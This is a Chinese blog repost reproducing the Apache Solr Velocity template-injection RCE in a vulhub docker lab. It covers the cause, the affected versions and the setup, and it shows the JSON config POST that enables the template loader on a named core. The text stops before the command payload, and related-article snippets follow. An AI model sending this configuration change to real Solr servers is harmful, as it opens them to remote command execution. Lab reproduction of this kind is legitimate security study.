26.Apache Solr RCE

多事之秋,刚爆出来shiro的RCE,紧接着solr服务器就出了RCE

自从漏洞爆出来已经一段时间,复现漏洞多如牛毛,我这里来水一篇

漏洞简介

什么是solr服务器?

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞产生的原因是什么?

1.当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

2.Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

--------360CERT

影响范围

Apache Solr 5.x - 8.2.0,存在config API版本

漏洞复现

环境搭建

本次依然使用P牛的vulhub docker镜像搭建

git clone https://github.com/vulhub/vulhub.git

cd vulhub/solr/CVE-2019-0193
docker-compose up -d

创建名为bmjoker的Core:

docker-compose exec solr bash bin/solr create_core -c bmjoker -d example/example-DIH/solr/db

搭建好后默认端口为8983,访问http://ip:8983 即可

漏洞利用

漏洞利用的前提是需要知道solr服务器中的core的名称才能执行攻击

我这里手动创建了一个core节点:bmjoker

当然漏洞产生原因是可以直接访问Solr控制台,通过发送类似 solr/节点名/config 的POST请求对该节点的配置文件做更改

能进入控制台就能看见core节点的名称

如果看不见的话,尝试去访问 /solr/admin/cores,就能看见创建的全部core节点名称,像这样:

构造POST请求,向 /solr/bmjoker/config 目录POST以下数据(来修改Core的配置)

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }

接下来使用网上爆出来的

原文地址:https://www.cnblogs.com/bmjoker/p/11778478.html

时间: 2024-10-08 14:14:22

26.Apache Solr RCE的相关文章

Apache Solr Velocity模板注入RCE漏洞复现

一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果. 二.漏洞描述 Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令

Apache Solr - XXE & RCE (2)

Apache Solr - XXE & RCE (2) 0x01 前言 部署那一块请看上一篇文章 https://www.cnblogs.com/0x28/p/12585472.html 0x02 复现 在创建了一个collection为test的基础上调用该collection的config POST /solr/test/config HTTP/1.1 Host: 192.168.52.129:8983 Accept: */* Accept-Language: en User-Agent:

玩转大数据系列之Apache Pig如何与Apache Solr集成(二)

散仙,在上篇文章中介绍了,如何使用Apache Pig与Lucene集成,还不知道的道友们,可以先看下上篇,熟悉下具体的流程. 在与Lucene集成过程中,我们发现最终还要把生成的Lucene索引,拷贝至本地磁盘,才能提供检索服务,这样以来,比较繁琐,而且有以下几个缺点: (一)在生成索引以及最终能提供正常的服务之前,索引经过多次落地操作,这无疑会给磁盘和网络IO,带来巨大影响 (二)Lucene的Field的配置与其UDF函数的代码耦合性过强,而且提供的配置也比较简单,不太容易满足,灵活多变的

How to Install Apache Solr 4.5 on CentOS 6.4

By Shay Anderson on October 2013 Knowledge Base  /  Linux  /  How to Install Apache Solr 4.5 on CentOS 6.4 In this tutorial I explain how to install Apache Solr 4.5 on CentOS 6.4. In all the examples below I am using the root user, if you are not you

01 Apache Solr:提升检索体验 为什么是Solr

背景: 最近开发一个大型的仓储管理平台项目,项目的前身是无数个版本的历史悠久的基于CS模式的Windows桌面程序.然后对于每一个客户,我们可能需要为之定制比较个性化的特殊功能.于是,有一个核心研发团队,以一两年为周期开发一个核心功能版本的软件:然后拿出去推广销售,每每销售成功,做售前的同事都是拿了一大堆定制化的需求回来的:然后一场在核心功能上的定制和个性化扩展就开始了,完成开发就可以去客户现场实施了:最后,就会有部分维护的同事将这个客户的系统纳入他们的日常工作清单中.周而复始.诚然,这种方式在

Apache Solr

官网:http://lucene.apache.org/solr/ 最新版本下载:http://www.apache.org/dyn/closer.cgi/lucene/solr/ 历史版本下载:http://archive.apache.org/dist/lucene/solr/ Solr 官方Wiki加速镜像: http://wiki.apache.org/solr/ Solr 官方Wiki: https://cwiki.apache.org/confluence/display/solr/

Apache Solr 之 使用SolrJ操作索引库

Solrj是Solr搜索服务器的一个比较基础的客户端工具,可以非常方便地与Solr搜索服务器进行交互.最基本的功能就是管理Solr索引,包括添加.更新.删除和查询等.对于一些比较基础的应用,用Solj基本够用,而且你可以非常容易地通过使用Solrj的API实现与Solr搜索服务器进行交互,实现对Solr的基本管理功能.如果你的应用比较复杂,可以扩展Solrj来满足需要. 使用 SolrJ操作索引库: package com.hcm.solr.test; import java.io.IOExce

Apache Solr 之 环境搭建

 Apache Solr 之 环境搭建 假定$SOLR_HOME为D:\Program Files\solr-tomcat\solr 步骤1,从solr-4.1.0\dist复制solr-4.1.0.war到$SOLR_HOME并重命名为solr.war: 步骤2,将solr-4.1.0\example\solr复制到$SOLR_HOME目录: 步骤3,在tomcat/conf/catalina/localhost下新建solr.xml,如下: <Context docBase="D:/P

Apache Solr vs Elasticsearch

http://solr-vs-elasticsearch.com/ Apache Solr vs Elasticsearch The Feature Smackdown API Feature Solr 6.2.1 ElasticSearch 5.0 Format XML, CSV, JSON JSON HTTP REST API Binary API   SolrJ  TransportClient, Thrift (through a plugin) JMX support  ES spec